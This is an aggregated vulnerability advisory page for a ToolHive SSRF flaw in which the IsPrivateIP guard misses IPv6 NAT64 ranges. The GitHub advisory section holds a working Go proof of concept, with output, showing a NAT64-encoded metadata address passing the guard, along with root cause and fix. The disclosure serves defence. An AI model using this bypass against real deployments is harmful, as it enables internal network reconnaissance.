ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway

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ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol (MCP) servers. Prior to 0.29.1, networking.IsPrivateIP in pkg/networking/utilities.go omits the IPv6 NAT64 prefixes 64:ff9b::/96 and 64:ff9b:1::/48, so NAT64 addresses embedding private, loopback, or link-local IPv4 targets are classified as public and allowed. The most direct attacker-controlled path begins when an external OAuth client supplies a client_id URL that CIMDStorageDecorator.GetClient routes through FetchClientMetadataDocument in pkg/oauthproto/cimd/fetch.go; protectedDialerControl in pkg/networking/http_client.go and validateHost in pkg/skills/gitresolver/reference.go share the defective classification but use operator-controlled or user-controlled destinations. On a ToolHive host behind a NAT64/DNS64 gateway, the gateway translates an allowed address such as 64:ff9b:1::a9fe:a9fe to 169.254.169.254, permitting blind probing of internal TCP or TLS reachability. The attacker-controlled CIMD path requires HTTPS, verifies certificates, and does not reflect response bodies, so the established impact is an internal reachability oracle rather than metadata credential exfiltration; the webhook client is not affected because it does not use this IP guard. This issue is fixed in version 0.29.1.

Source published

15 Sep 2026 15:47:39 UTC

Source modified

15 Sep 2026 16:13:16 UTC

Observed here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 4.0 · 2.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol (MCP) servers. Prior to 0.29.1, networking.IsPrivateIP in pkg/networking/utilities.go omits the IPv6 NAT64 prefixes 64:ff9b::/96 and 64:ff9b:1::/48, so NAT64 addresses embedding private, loopback, or link-local IPv4 targets are classified as public and allowed. The most direct attacker-controlled path begins when an external OAuth client supplies a client_id URL that CIMDStorageDecorator.GetClient routes through FetchClientMetadataDocument in pkg/oauthproto/cimd/fetch.go; protectedDialerControl in pkg/networking/http_client.go and validateHost in pkg/skills/gitresolver/reference.go share the defective classification but use operator-controlled or user-controlled destinations. On a ToolHive host behind a NAT64/DNS64 gateway, the gateway translates an allowed address such as 64:ff9b:1::a9fe:a9fe to 169.254.169.254, permitting blind probing of internal TCP or TLS reachability. The attacker-controlled CIMD path requires HTTPS, verifies certificates, and does not reflect response bodies, so the established impact is an internal reachability oracle rather than metadata credential exfiltration; the webhook client is not affected because it does not use this IP guard. This issue is fixed in version 0.29.1.

Source published

Sep 15, 2026, 3:47:39 PM (timezone not stated)

Source modified

Sep 15, 2026, 4:13:16 PM (timezone not stated)

Observed here

11 Nov 2026 14:00:18 UTC

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ENISA EUVD · source terms and attribution apply

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EUVD CVSS 4.0 · 2.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol (MCP) servers. Prior to 0.29.1, networking.IsPrivateIP in pkg/networking/utilities.go omits the IPv6 NAT64 prefixes 64:ff9b::/96 and 64:ff9b:1::/48, so NAT64 addresses embedding private, loopback, or link-local IPv4 targets are classified as public and allowed. The most direct attacker-controlled path begins when an external OAuth client supplies a client_id URL that CIMDStorageDecorator.GetClient routes through FetchClientMetadataDocument in pkg/oauthproto/cimd/fetch.go; protectedDialerControl in pkg/networking/http_client.go and validateHost in pkg/skills/gitresolver/reference.go share the defective classification but use operator-controlled or user-controlled destinations. On a ToolHive host behind a NAT64/DNS64 gateway, the gateway translates an allowed address such as 64:ff9b:1::a9fe:a9fe to 169.254.169.254, permitting blind probing of internal TCP or TLS reachability. The attacker-controlled CIMD path requires HTTPS, verifies certificates, and does not reflect response bodies, so the established impact is an internal reachability oracle rather than metadata credential exfiltration; the webhook client is not affected because it does not use this IP guard. This issue is fixed in version 0.29.1.

Source published

15 Sep 2026 16:17:14 UTC

Source modified

30 Sep 2026 17:51:56 UTC

Observed here

25 Oct 2026 13:17:28 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 2.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

## Summary ToolHive's hand-rolled private/reserved-IP SSRF guard (`networking.IsPrivateIP` in `pkg/networking/utilities.go`) does not recognize the IPv6 **NAT64** address ranges — the well-known prefix `64:ff9b::/96` (RFC 6052) and the RFC 8215 local-use prefix `64:ff9b:1::/48`. As a result, an address such as `64:ff9b:1::a9fe:a9fe` — the NAT64 encoding of the link-local cloud metadata address `169.254.169.254` — is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) — see Impact. The most direct attacker-controlled entry point is the embedded OAuth authorization server's Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents `client_id=https://<attacker-domain>/path`, and `CIMDStorageDecorator.GetClient` fetches that URL through the same guard. The same `IsPrivateIP` table is also shared by the `protectedDialerControl` HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (`pkg/skills/gitresolver`), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is *not* affected — it enforces only the HTTPS scheme via `ValidatingTransport` and performs no IP-based check.) ## Details `pkg/networking/utilities.go` builds a `privateIPBlocks` table and `IsPrivateIP`: ```go func init() { for _, cidr := range []string{ "127.0.0.0/8", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "169.254.0.0/16", "::1/128", "fe80::/10", "fc00::/7", "100.64.0.0/10", "192.0.2.0/24", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", "ff00::/8", } { /* ... append to privateIPBlocks ... */ } } func IsPrivateIP(ip net.IP) bool { if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() { return true } for _, block := range privateIPBlocks { if block.Contains(ip) { return true } } return false } ``` The table contains no entry for `64:ff9b::/96` or `64:ff9b:1::/48`. A NAT64 address is a normal global-unicast IPv6 address: `net.IP.IsGlobalUnicast()` returns true and it matches none of the listed blocks, so `IsPrivateIP` returns `false`. The CIMD fetcher (`pkg/oauthproto/cimd/fetch.go`, `newCIMDHTTPClient`) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap: ```go ips, err := net.DefaultResolver.LookupHost(ctx, host) // ... for _, ipStr := range ips { ip := net.ParseIP(ipStr) // ... if !ip.IsLoopback() && networking.IsPrivateIP(ip) { return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr) } dialer := &net.Dialer{Timeout: 5 * time.Second} return dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port)) } ``` Because `IsPrivateIP(64:ff9b:1::a9fe:a9fe)` is `false`, the dialer proceeds. In a NAT64 network the kernel's NAT64 gateway transparently translates that IPv6 destination to a connection to `169.254.169.254`. Trust boundary: the CIMD URL originates from the `client_id` of an external OAuth client at authorize/token time (`CIMDStorageDecorator.GetClient` → `IsClientIDMetadataDocumentURL(id)` → `cimd.FetchClientMetadataDocument(ctx, id)`), so it is fully attacker-controlled. The `protectedDialerControl` HTTP clients used for registry, OIDC discovery, and token introspection (`pkg/networking/http_client.go` → `AddressReferencesPrivateIp` → `IsPrivateIP`) and the skills git-clone host check (`pkg/skills/gitresolver/reference.go` `validateHost` → `IsPrivateIP`) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones. Note that `::ffff:169.254.169.254` (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught. ## Affected - Module: `github.com/stacklok/toolhive` - Affected packages/paths: `pkg/networking/utilities.go` (`IsPrivateIP`), reached via `pkg/oauthproto/cimd/fetch.go` (`FetchClientMetadataDocument`, CIMD authorization-server path — the attacker-controlled entry point), `pkg/networking/http_client.go` (`protectedDialerControl`, used by the registry / OIDC-discovery / token-introspection clients), and `pkg/skills/gitresolver/reference.go` (`validateHost`, skills git-clone host check). The webhook client (`pkg/webhook`) is not affected: it validates only the HTTPS scheme and performs no `IsPrivateIP` check. - Affected versions: all releases through v0.29.0 (the `IsPrivateIP` table has lacked NAT64 entries since the guard was introduced; the CIMD reach was added in v0.28.1). - Precondition for full exploitability: the ToolHive process runs in an environment with a NAT64/DNS64 gateway (e.g. IPv6-only Kubernetes / IPv6-only cloud). The classification defect itself is present unconditionally. ## Proof of Concept The following self-contained Go program imports ToolHive **v0.29.0** (commit `570ce07013b72208fcae339e9492f5867a1af994`) and exercises the real guard code: the exported `networking.IsPrivateIP`, the exported `oauthproto.IsClientIDMetadataDocumentURL` predicate that routes a `client_id` into the CIMD fetch path, and the CIMD dialer gate copied verbatim from `pkg/oauthproto/cimd/fetch.go`. The only modeled elements are the network's DNS64 record (attacker host → NAT64 IPv6) and the kernel NAT64 gateway (final dial → control listener) — the security decision is made entirely by ToolHive's own code. `go.mod`: ``` module poc go 1.26 require github.com/stacklok/toolhive v0.29.0 ``` `main.go`: ```go package main import ( "context" "fmt" "net" "net/http" "net/http/httptest" "strings" "time" "github.com/stacklok/toolhive/pkg/networking" "github.com/stacklok/toolhive/pkg/oauthproto" "github.com/stacklok/toolhive/pkg/oauthproto/cimd" ) var _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only) const ( attackerHost = "cimd-attacker.example" natLocalUse = "64:ff9b:1::a9fe:a9fe" // RFC 8215 NAT64 of 169.254.169.254 ) func main() { // Part A: real classifier on NAT64 vs private addresses. for _, s := range []string{ natLocalUse, "64:ff9b::a9fe:a9fe", "64:ff9b::7f00:1", "169.254.169.254", "::ffff:169.254.169.254", "10.0.0.1", "93.184.216.34", } { ip := net.ParseIP(s) fmt.Printf("IsPrivateIP(%-22s) = %v\n", s, networking.IsPrivateIP(ip)) } // Control listener standing in for the IMDS reachable behind NAT64. hit := make(chan string, 1) imds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { hit <- r.Host + r.URL.Path fmt.Fprint(w, `{"AccessKeyId":"ASIA_STOLEN","SecretAccessKey":"s3cr3t"}`) })) defer imds.Close() ctrlAddr := strings.TrimPrefix(imds.URL, "http://") clientID := "https://" + attackerHost + "/.well-known/oauth-client" fmt.Printf("IsClientIDMetadataDocumentURL(%q) = %v\n", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID)) // CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0, // with DNS64 (attacker host -> NAT64 IPv6) and NAT64 gateway (dial -> listener) modeled. transport := &http.Transport{DisableKeepAlives: true, DialContext: func(ctx context.Context, network, address string) (net.Conn, error) { host, _, _ := net.SplitHostPort(address) var ips []string if host == attackerHost { ips = []string{natLocalUse} // DNS64 synthesis } else { ips, _ = net.DefaultResolver.LookupHost(ctx, host) } for _, ipStr := range ips { ip := net.ParseIP(ipStr) if ip == nil { continue } if !ip.IsLoopback() && networking.IsPrivateIP(ip) { // verbatim toolhive gate return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr) } fmt.Printf("[guard] %s passed IsPrivateIP gate -> dialing\n", ipStr) return (&net.Dialer{}).DialContext(ctx, "tcp", ctrlAddr) // NAT64 gateway } return nil, fmt.Errorf("cimd: no valid address for %q", host) }} client := &http.Client{Timeout: 5 * time.Second, Transport: transport} req, _ := http.NewRequest("GET", "http://"+attackerHost+"/.well-known/oauth-client", nil) if _, err := client.Do(req); err != nil { fmt.Println("blocked:", err) return } fmt.Printf("control listener received: %s => SSRF via %s\n", <-hit, natLocalUse) // Negative control: a genuinely private IP is rejected by the same gate. neg := &http.Client{Transport: &http.Transport{DialContext: func(_ context.Context, _, _ string) (net.Conn, error) { ip := net.ParseIP("169.254.169.254") if !ip.IsLoopback() && networking.IsPrivateIP(ip) { return nil, fmt.Errorf("cimd: refusing connection to private address %s", ip) } return nil, fmt.Errorf("would dial (NOT blocked)") }}} _, nerr := neg.Do(req) fmt.Println("negative control (169.254.169.254):", nerr) } ``` Output: ``` IsPrivateIP(64:ff9b:1::a9fe:a9fe ) = false IsPrivateIP(64:ff9b::a9fe:a9fe ) = false IsPrivateIP(64:ff9b::7f00:1 ) = false IsPrivateIP(169.254.169.254 ) = true IsPrivateIP(::ffff:169.254.169.254) = true IsPrivateIP(10.0.0.1 ) = true IsPrivateIP(93.184.216.34 ) = false IsClientIDMetadataDocumentURL("https://cimd-attacker.example/.well-known/oauth-client") = true [guard] 64:ff9b:1::a9fe:a9fe passed IsPrivateIP gate -> dialing control listener received: cimd-attacker.example/.well-known/oauth-client => SSRF via 64:ff9b:1::a9fe:a9fe negative control (169.254.169.254): cimd: refusing connection to private address 169.254.169.254 ``` The attacker-controlled `client_id` host (NAT64-resolved) passes the real `IsPrivateIP` gate and reaches the IMDS stand-in, while the raw metadata address is correctly blocked by the same gate. ## Impact Server-Side Request Forgery (CWE-918), **Low**. On a ToolHive deployment behind a NAT64/DNS64 gateway, an attacker who controls a URL reaching the guard can cause ToolHive to attempt connections to internal/link-local addresses the guard is meant to block — RFC1918, loopback, and the link-local metadata address `169.254.169.254` (encoded as `64:ff9b::a9fe:a9fe` / `64:ff9b:1::a9fe:a9fe`). The practical effect is a **blind internal-reachability / SSRF oracle, not data or credential exfiltration.** On the only fully attacker-controlled entry point — the CIMD fetcher — three constraints bound the impact: - **HTTPS-only.** `validateCIMDClientURL` rejects non-loopback `http://`, so the dial is TLS. Cloud instance metadata services (AWS/GCP/Azure, all on `169.254.169.254`) serve **plain HTTP on port 80**, so a TLS connection cannot retrieve metadata credentials. - **TLS certificate verification.** `newCIMDHTTPClient` sets no custom `TLSClientConfig`; reaching an internal HTTPS service requires a certificate valid for the attacker-supplied host/IP, which an internal service will not present. - **No response reflection.** A fetched document must satisfy `ValidateClientMetadataDocument` (its `client_id` must equal the fetched URL) and the body is never returned to the attacker. What remains is the ability to probe whether an internal `host:port` accepts a TCP/TLS connection (via success/timing differences) — internal network reconnaissance, not credential theft. Reachable via: - the embedded OAuth authorization server CIMD path — `client_id` URL supplied by an external OAuth client (no pre-registration); HTTPS-only and blind, as above; - the registry / OIDC-discovery / token-introspection HTTP clients that share `IsPrivateIP` via `protectedDialerControl` — but those destinations are operator-configured, not attacker-controlled; - the skills git-clone host check (`pkg/skills/gitresolver` `validateHost`) — likewise operator-/user-configured, and it only validates literal IPs (a hostname that resolves to a NAT64/private address is not caught there regardless of this defect). Exploitability is conditional on the host's network providing NAT64/DNS64 (e.g. IPv6-only Kubernetes and some IPv6-only cloud setups). The IP-classification defect itself is present unconditionally. ## Root cause `networking.IsPrivateIP` relies on a manually maintained CIDR list that omits the IPv6 NAT64 transition ranges. NAT64 addresses embed an IPv4 address (`64:ff9b::<v4>` and `64:ff9b:1::<v4>`) and route to it via a NAT64 gateway, so a NAT64 address that embeds a private/link-local IPv4 address is effectively as sensitive as that IPv4 address — but it is a syntactically global-unicast IPv6 address and therefore evades the private-range list and the `IsGlobalUnicast`/`IsLinkLocalUnicast` checks. ## Fix Add the NAT64 prefixes to the private/reserved set so that NAT64-encoded addresses are classified by the IPv4 address they embed (or, at minimum, rejected outright). Concretely, add `64:ff9b::/96` and `64:ff9b:1::/48` to `privateIPBlocks` in `pkg/networking/utilities.go`; for completeness, when an address falls in a NAT64 prefix, extract the embedded IPv4 (last 32 bits) and apply the existing IPv4 private/reserved checks to it, so that `64:ff9b::8.8.8.8` (a NAT64 path to a genuinely public host) is not over-blocked while `64:ff9b:1::a9fe:a9fe` is blocked. The implemented fix (PR on the private advisory fork) takes this embedded-IPv4 approach: it decodes the low 32 bits for the well-known `64:ff9b::/96` and the `64:ff9b:1::/96` sub-prefix and re-applies the IPv4 private/reserved checks, so genuinely public NAT64 egress is not over-blocked. Because the RFC 8215 local-use `64:ff9b:1::/48` may use a shorter NAT64 prefix (RFC 6052 §2.2) that places the embedded IPv4 outside the low 32 bits, the remainder of that `/48` is blocked wholesale (fail closed) rather than decoded, avoiding a false-negative bypass. As bundled defense-in-depth, the same patch also classifies a few special-use ranges that `IsPrivateIP` previously missed: `0.0.0.0/8` (RFC 1122 "this host") and the unspecified address (`0.0.0.0` / `::`), plus `240.0.0.0/4` (RFC 1112 reserved, including the `255.255.255.255` broadcast). Separately tracked follow-ups (not in this patch): decoding/rejecting other IPv4-in-IPv6 transition ranges (6to4 `2002::/16`, Teredo `2001::/32`, IPv4-compatible `::/96`), and a pre-clone DNS-resolution check in the skills git resolver, which currently validates only literal IPs. ## Resources - RFC 6052 — IPv6 Addressing of IPv4/IPv6 Translators (well-known prefix `64:ff9b::/96`) - RFC 8215 — Local-Use IPv4/IPv6 Translation Prefix (`64:ff9b:1::/48`) - RFC 6147 — DNS64 - CWE-918 — Server-Side Request Forgery (SSRF) - ToolHive v0.29.0, commit `570ce07013b72208fcae339e9492f5867a1af994`

Source published

15 Jul 2026 21:51:03 UTC

Source modified

21 Jul 2026 19:19:19 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Publisher rating · LOW

ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway in github.com/stacklok/toolhive

Source published

17 Jul 2026 19:42:05 UTC

Source modified

21 Jul 2026 19:15:35 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.